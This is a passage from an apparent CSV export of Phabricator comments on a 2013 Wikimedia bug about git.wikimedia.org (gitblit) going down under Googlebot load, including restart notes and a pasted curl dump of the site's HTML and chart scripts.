+To me it just serves ""Internal error"" messages. When CPU usage goes down a bit, you may happen to get some content, maybe curl is just being very patient and retrying a lot till that happens.",,,1374600397,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,3,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+242585,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #10)
+> git.wikimedia.org continues to be broken. This is very frustrating.
+
+You're telling me :(",,,1374597058,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+242582,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,We cant take stack trace right now since gitblit is running with Java 6 and we are missing the jstack utility.  That is bug 51859.,,,1374573819,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+242580,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,git.wikimedia.org continues to be broken. This is very frustrating.,,,1374566967,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+242579,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #8)
+>  14:42 apergos: (btw docs would be nice, is that really the right way to kick
+> it?)
+> 14:42 apergos: shot and restarted gitblit: on antinomy, cd /var/lib/gitblit,
+> java -jar gitblit.jar & (see bug 51769) 
+> 
+> Can we help Ariel out? :)
+
+Peachey88 helpfully created <https://wikitech.wikimedia.org/wiki/Git.wikimedia.org> and <https://wikitech.wikimedia.org/wiki/Gitblit>. Thank you, Peachey88!",,,1374518718,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+242576,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot," 14:42 apergos: (btw docs would be nice, is that really the right way to kick it?)
+14:42 apergos: shot and restarted gitblit: on antinomy, cd /var/lib/gitblit, java -jar gitblit.jar & (see bug 51769) 
+
+Can we help Ariel out? :)",,,1374511097,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+242571,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,This seems to be an issue again.,,,1374502907,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+242565,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"Restarted the service again. Nothing was suspicious in the logs, but CPU was pegged at 100% :\",,,1374473332,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+242558,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"For the record, it doesn't seem to be completely down, just really slow to respond. When I tried again, I got:
+
+$ time curl https://git.wikimedia.org
+<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Strict//EN"" ""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"">
+<html xmlns=""http://www.w3.org/1999/xhtml"" xml:lang=""en"" lang=""en"" ng-app=""""> 
+
+	<!-- Head -->
+	<head>
+		<meta name=""viewport"" content=""width=device-width, initial-scale=1.0"">
+		<meta http-equiv=""X-UA-Compatible"" content=""IE=Edge"" />
+   		<title>Wikimedia</title>
+		<link rel=""icon"" href=""gitblt-favicon.png"" type=""image/png""/>
+		
+		<link rel=""stylesheet"" href=""bootstrap/css/bootstrap.css""/>
+		<link rel=""stylesheet"" href=""bootstrap/css/iconic.css""/>
+		<link rel=""stylesheet"" type=""text/css"" href=""gitblit.css""/>
+	<link rel=""stylesheet"" type=""text/css"" href=""bootstrap/css/bootstrap-responsive.css"" />
+<style type=""text/css"">
+.navbar-inner {
+background-color: #FBFBFB;
+border-bottom: 1px solid #39688E !important;
+}
+.navbar ul li:focus, .navbar .active {
+border-bottom: 4px solid #9C000F;
+}
+.navbar ul.nav li a {
+color: #002060;
+}
+.navbar ul.nav .active a {
+color: #002060;
+}
+.navbar ul.nav li a:hover {
+color: #002060 !important;
+}
+</style>
+<script type=""text/javascript"" src=""https://www.google.com/jsapi""></script>
+<script type=""text/javascript"" ><!--/*--><![CDATA[/*><!--*/
+google.load(""visualization"", ""1"", {packages:[""corechart""]});
+google.setOnLoadCallback(drawChart);
+function drawChart() {
+var data_ffa5c540 = new google.visualization.DataTable();
+data_ffa5c540.addColumn('string', 'repository');
+data_ffa5c540.addColumn('number', 'commits');
+data_ffa5c540.addRows(85);
+data_ffa5c540.setValue(0, 0, 'mediawiki/core');
+data_ffa5c540.setValue(0, 1, 2.0);
+data_ffa5c540.setValue(1, 0, 'mediawiki/extensions');
+data_ffa5c540.setValue(1, 1, 2.0);
+data_ffa5c540.setValue(2, 0, 'mediawiki/extensions/TranslationNotifications');
+data_ffa5c540.setValue(2, 1, 2.0);
+data_ffa5c540.setValue(3, 0, 'mediawiki/extensions/PollNY');
+data_ffa5c540.setValue(3, 1, 1.0);
+data_ffa5c540.setValue(4, 0, 'mediawiki/extensions/Nuke');
+data_ffa5c540.setValue(4, 1, 1.0);
+data_ffa5c540.setValue(5, 0, 'mediawiki/extensions/LastModified');
+data_ffa5c540.setValue(5, 1, 1.0);
+data_ffa5c540.setValue(6, 0, 'mediawiki/extensions/MoodBar');
+data_ffa5c540.setValue(6, 1, 1.0);
+data_ffa5c540.setValue(7, 0, 'mediawiki/extensions/Validator');
+data_ffa5c540.setValue(7, 1, 1.0);
+data_ffa5c540.setValue(8, 0, 'mediawiki/extensions/Phalanx');
+data_ffa5c540.setValue(8, 1, 1.0);
+data_ffa5c540.setValue(9, 0, 'mediawiki/extensions/MassEditRegex');
+data_ffa5c540.setValue(9, 1, 1.0);
+var chart_ffa5c540 = new google.visualization.PieChart(document.getElementById('chartRepositories'));
+chart_ffa5c540.draw(data_ffa5c540, { title: 'active repositories', colors:['#3810a6','#7110a6','#1068a6','#a61029','#1056a6','#63a610','#a64210','#109ca6','#7610a6','#a61083',], legend: { position:'none' } });
+
+var data_39b7080b = new google.visualization.DataTable();
+data_39b7080b.addColumn('string', 'author');
+data_39b7080b.addColumn('number', 'commits');
+data_39b7080b.addRows(17);
+data_39b7080b.setValue(0, 0, 'jeroendedauw');
+data_39b7080b.setValue(0, 1, 28.0);
+data_39b7080b.setValue(1, 0, 'Ori Livneh');
+data_39b7080b.setValue(1, 1, 12.0);
+data_39b7080b.setValue(2, 0, 'Kunal Mehta');
+data_39b7080b.setValue(2, 1, 6.0);
+data_39b7080b.setValue(3, 0, 'Yuki Shira');
+data_39b7080b.setValue(3, 1, 4.0);
+data_39b7080b.setValue(4, 0, 'legoktm');
+data_39b7080b.setValue(4, 1, 3.0);
+data_39b7080b.setValue(5, 0, 'Hoo man');
+data_39b7080b.setValue(5, 1, 2.0);
+data_39b7080b.setValue(6, 0, 'Santhosh Thottingal');
+data_39b7080b.setValue(6, 1, 2.0);
+data_39b7080b.setValue(7, 0, 'Jeroen De Dauw');
+data_39b7080b.setValue(7, 1, 2.0);
+data_39b7080b.setValue(8, 0, 'Kip');
+data_39b7080b.setValue(8, 1, 2.0);
+data_39b7080b.setValue(9, 0, 'Marius Hoch');
+data_39b7080b.setValue(9, 1, 2.0);
+var chart_39b7080b = new google.visualization.PieChart(document.getElementById('chartAuthors'));
+chart_39b7080b.draw(data_39b7080b, { title: 'active authors', colors:['#a6106c','#71a610','#a1a610','#a61040','#a68010','#a68010','#a67410','#1022a6','#104ca6','#1080a6',], legend: { position:'none' } });
+
+}
+
+/*-->]]>*/</script>
+
+<script type=""text/javascript"" src=""resources/com.gitblit.wicket.ng.NgController/angular.js""></script>
+<script type=""text/javascript"" ><!--/*--><![CDATA[/*><!--*/
+<!-- AngularJS projectsCtrl data controller -->
+function projectsCtrl($scope) {
+	$scope.projectsList = [{""p"":""mediawiki"",""n"":""mediawiki"",""t"":""18 mins ago"",""d"":""2013-07-22"",""i"":"""",""c"":626},{""p"":""labs"",""n"":""labs"",""t"":""5 hours ago"",""d"":""2013-07-21"",""i"":"""",""c"":9},{""p"":""operations"",""n"":""operations"",""t"":""8 hours ago"",""d"":""2013-07-21"",""i"":"""",""c"":72},{""p"":""main"",""n"":""Main Repositories"",""t"":""15 hours ago"",""d"":""2013-07-21"",""i"":""main group of repositories"",""c"":19},{""p"":""pywikibot"",""n"":""pywikibot"",""t"":""21 hours ago"",""d"":""2013-07-21"",""i"":"""",""c"":4},{""p"":""analytics"",""n"":""analytics"",""t"":""2 days ago"",""d"":""2013-07-20"",""i"":"""",""c"":39},{""p"":""wikimedia"",""n"":""wikimedia"",""t"":""3 days ago"",""d"":""2013-07-19"",""i"":"""",""c"":24},{""p"":""integration"",""n"":""integration"",""t"":""3 days ago"",""d"":""2013-07-19"",""i"":"""",""c"":11},{""p"":""qa"",""n"":""qa"",""t"":""3 days ago"",""d"":""2013-07-19"",""i"":"""",""c"":1},{""p"":""apps"",""n"":""apps"",""t"":""4 days ago"",""d"":""2013-07-18"",""i"":"""",""c"":4},{""p"":""wiktionary"",""n"":""wiktionary"",""t"":""4 weeks ago"",""d"":""2013-06-21"",""i"":"""",""c"":1},{""p"":""test"",""n"":""test"",""t"":""8 weeks ago"",""d"":""2013-05-25"",""i"":"""",""c"":2},{""p"":""officeit"",""n"":""officeit"",""t"":""4 months ago"",""d"":""2013-04-08"",""i"":"""",""c"":1},{""p"":""VisualEditor"",""n"":""VisualEditor"",""t"":""6 months ago"",""d"":""2013-01-29"",""i"":"""",""c"":1},{""p"":""glam"",""n"":""glam"",""t"":""10 months ago"",""d"":""2012-10-11"",""i"":"""",""c"":1}];
+}
+
+/*-->]]>*/</script>
+
+<script type=""text/javascript"" ><!--/*--><![CDATA[/*><!--*/
+<!-- AngularJS activeCtrl data controller -->
+function activeCtrl($scope) {
+	$scope.activeList = [{""r"":""mediawiki/extensions.git"",""n"":""extensions"",""p"":""mediawiki/"",""t"":""18 mins ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#7110a6"",""wc"":0},{""r"":""mediawiki/core.git"",""n"":""core"",""p"":""mediawiki/"",""t"":""2 hours ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#3810a6"",""wc"":0},{""r"":""mediawiki/extensions/TranslationNotifications.git"",""n"":""TranslationNotifications"",""p"":""mediawiki/extensions/"",""t"":""2 hours ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#1068a6"",""wc"":0},{""r"":""mediawiki/extensions/LaTeXML.git"",""n"":""LaTeXML"",""p"":""mediawiki/extensions/"",""t"":""5 hours ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#a67b10"",""wc"":0},{""r"":""labs/tools/lolrrit.git"",""n"":""lolrrit"",""p"":""labs/tools/"",""t"":""5 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a6102e"",""wc"":0},{""r"":""mediawiki/extensions/PollNY.git"",""n"":""PollNY"",""p"":""mediawiki/extensions/"",""t"":""7 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61029"",""wc"":0},{""r"":""operations/puppet.git"",""n"":""puppet"",""p"":""operations/"",""t"":""8 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#106ca6"",""wc"":0},{""r"":""mediawiki/extensions/Wikibase.git"",""n"":""Wikibase"",""p"":""mediawiki/extensions/"",""t"":""9 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a310a6"",""wc"":0},{""r"":""mediawiki/extensions/EventLogging.git"",""n"":""EventLogging"",""p"":""mediawiki/extensions/"",""t"":""9 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a631"",""wc"":0},{""r"":""mediawiki/extensions/WikimediaMessages.git"",""n"":""WikimediaMessages"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64510"",""wc"":0},{""r"":""mediawiki/extensions/Wikilog.git"",""n"":""Wikilog"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a6106c"",""wc"":0},{""r"":""mediawiki/extensions/WikiLexicalData.git"",""n"":""WikiLexicalData"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#101da6"",""wc"":0},{""r"":""mediawiki/extensions/WikiForum.git"",""n"":""WikiForum"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a618"",""wc"":0},{""r"":""mediawiki/extensions/WikiEditor.git"",""n"":""WikiEditor"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#8310a6"",""wc"":0},{""r"":""mediawiki/extensions/VisualEditor.git"",""n"":""VisualEditor"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1aa610"",""wc"":0},{""r"":""mediawiki/extensions/Validator.git"",""n"":""Validator"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#109ca6"",""wc"":0},{""r"":""mediawiki/extensions/UserMerge.git"",""n"":""UserMerge"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#2ea610"",""wc"":0},{""r"":""mediawiki/extensions/UploadWizard.git"",""n"":""UploadWizard"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#3110a6"",""wc"":0},{""r"":""mediawiki/extensions/UniversalLanguageSelector.git"",""n"":""UniversalLanguageSelector"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#6510a6"",""wc"":0},{""r"":""mediawiki/extensions/TwnMainPage.git"",""n"":""TwnMainPage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#8d10a6"",""wc"":0},{""r"":""mediawiki/extensions/Translate.git"",""n"":""Translate"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1099a6"",""wc"":0},{""r"":""mediawiki/extensions/Sudo.git"",""n"":""Sudo"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61060"",""wc"":0},{""r"":""mediawiki/extensions/SemanticMediaWiki.git"",""n"":""SemanticMediaWiki"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a627"",""wc"":0},{""r"":""mediawiki/extensions/SemanticForms.git"",""n"":""SemanticForms"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61013"",""wc"":0},{""r"":""mediawiki/extensions/SemanticDrilldown.git"",""n"":""SemanticDrilldown"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61074"",""wc"":0},{""r"":""mediawiki/extensions/SecurePoll.git"",""n"":""SecurePoll"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61079"",""wc"":0},{""r"":""mediawiki/extensions/RevisionCommentSupplement.git"",""n"":""RevisionCommentSupplement"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#102ca6"",""wc"":0},{""r"":""mediawiki/extensions/Renameuser.git"",""n"":""Renameuser"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a6a3"",""wc"":0},{""r"":""mediawiki/extensions/ProofreadPage.git"",""n"":""ProofreadPage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#3110a6"",""wc"":0},{""r"":""mediawiki/extensions/Premoderation.git"",""n"":""Premoderation"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7ea610"",""wc"":0},{""r"":""mediawiki/extensions/Phalanx.git"",""n"":""Phalanx"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7610a6"",""wc"":0},{""r"":""mediawiki/extensions/PageSchemas.git"",""n"":""PageSchemas"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64510"",""wc"":0},{""r"":""mediawiki/extensions/OpenStackManager.git"",""n"":""OpenStackManager"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a62c"",""wc"":0},{""r"":""mediawiki/extensions/OAuth.git"",""n"":""OAuth"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a636"",""wc"":0},{""r"":""mediawiki/extensions/Nuke.git"",""n"":""Nuke"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1056a6"",""wc"":0},{""r"":""mediawiki/extensions/NewUserMessage.git"",""n"":""NewUserMessage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1051a6"",""wc"":0},{""r"":""mediawiki/extensions/MoodBar.git"",""n"":""MoodBar"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64210"",""wc"":0},{""r"":""mediawiki/extensions/MobileFrontend.git"",""n"":""MobileFrontend"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#4ca610"",""wc"":0},{""r"":""mediawiki/extensions/MathSearch.git"",""n"":""MathSearch"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a63110"",""wc"":0},{""r"":""mediawiki/extensions/Math.git"",""n"":""Math"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#97a610"",""wc"":0},{""r"":""mediawiki/extensions/MassMessage.git"",""n"":""MassMessage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#36a610"",""wc"":0},{""r"":""mediawiki/extensions/MassEditRegex.git"",""n"":""MassEditRegex"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61083"",""wc"":0},{""r"":""mediawiki/extensions/Maintenance.git"",""n"":""Maintenance"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#9910a6"",""wc"":0},{""r"":""mediawiki/extensions/LiquidThreads.git"",""n"":""LiquidThreads"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a68810"",""wc"":0},{""r"":""mediawiki/extensions/LinkFilter.git"",""n"":""LinkFilter"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1038a6"",""wc"":0},{""r"":""mediawiki/extensions/LastModified.git"",""n"":""LastModified"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#63a610"",""wc"":0},{""r"":""mediawiki/extensions/InviteSignup.git"",""n"":""InviteSignup"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a67b10"",""wc"":0},{""r"":""mediawiki/extensions/Interwiki.git"",""n"":""Interwiki"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61033"",""wc"":0},{""r"":""mediawiki/extensions/ImageMap.git"",""n"":""ImageMap"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a654"",""wc"":0},{""r"":""mediawiki/extensions/GoogleMaps.git"",""n"":""GoogleMaps"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#83a610"",""wc"":0},{""r"":""mediawiki/extensions/GlobalBlocking.git"",""n"":""GlobalBlocking"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7610a6"",""wc"":0},{""r"":""mediawiki/extensions/GettingStarted.git"",""n"":""GettingStarted"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#4510a6"",""wc"":0},{""r"":""mediawiki/extensions/FlaggedRevs.git"",""n"":""FlaggedRevs"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#9710a6"",""wc"":0},{""r"":""mediawiki/extensions/ExpandTemplates.git"",""n"":""ExpandTemplates"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61042"",""wc"":0},{""r"":""mediawiki/extensions/EducationProgram.git"",""n"":""EducationProgram"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#65a610"",""wc"":0},{""r"":""mediawiki/extensions/Editcount.git"",""n"":""Editcount"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1036a6"",""wc"":0},{""r"":""mediawiki/extensions/Echo.git"",""n"":""Echo"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64f10"",""wc"":0},{""r"":""mediawiki/extensions/DiscussionThreading.git"",""n"":""DiscussionThreading"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a68d10"",""wc"":0},{""r"":""mediawiki/extensions/Disambiguator.git"",""n"":""Disambiguator"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a63b10"",""wc"":0},{""r"":""mediawiki/extensions/DeleteBatch.git"",""n"":""DeleteBatch"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#104fa6"",""wc"":0},{""r"":""mediawiki/extensions/DataValues.git"",""n"":""DataValues"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64f10"",""wc"":0},{""r"":""mediawiki/extensions/DataTransfer.git"",""n"":""DataTransfer"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61018"",""wc"":0},{""r"":""mediawiki/extensions/ConfirmEdit.git"",""n"":""ConfirmEdit"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a6108d"",""wc"":0},{""r"":""mediawiki/extensions/ConfirmAccount.git"",""n"":""ConfirmAccount"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7ba610"",""wc"":0},{""r"":""mediawiki/extensions/Configure.git"",""n"":""Configure"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#36a610"",""wc"":0},{""r"":""mediawiki/extensions/Comments.git"",""n"":""Comments"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#8f10a6"",""wc"":0},{""r"":""mediawiki/extensions/Commentbox.git"",""n"":""Commentbox"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a62910"",""wc"":0},{""r"":""mediawiki/extensions/Collection.git"",""n"":""Collection"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a66a10"",""wc"":0},{""r"":""mediawiki/extensions/CheckUser.git"",""n"":""CheckUser"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61045"",""wc"":0},{""r"":""mediawiki/extensions/CentralNotice.git"",""n"":""CentralNotice"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a68d"",""wc"":0},{""r"":""mediawiki/extensions/CentralAuth.git"",""n"":""CentralAuth"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a65e10"",""wc"":0},{""r"":""mediawiki/extensions/Campaigns.git"",""n"":""Campaigns"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#13a610"",""wc"":0},{""r"":""mediawiki/extensions/BookManagerv2.git"",""n"":""BookManagerv2"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#56a610"",""wc"":0},{""r"":""mediawiki/extensions/Babel.git"",""n"":""Babel"",""p"":""mediawiki/extensions/"",""t"":""10 hours 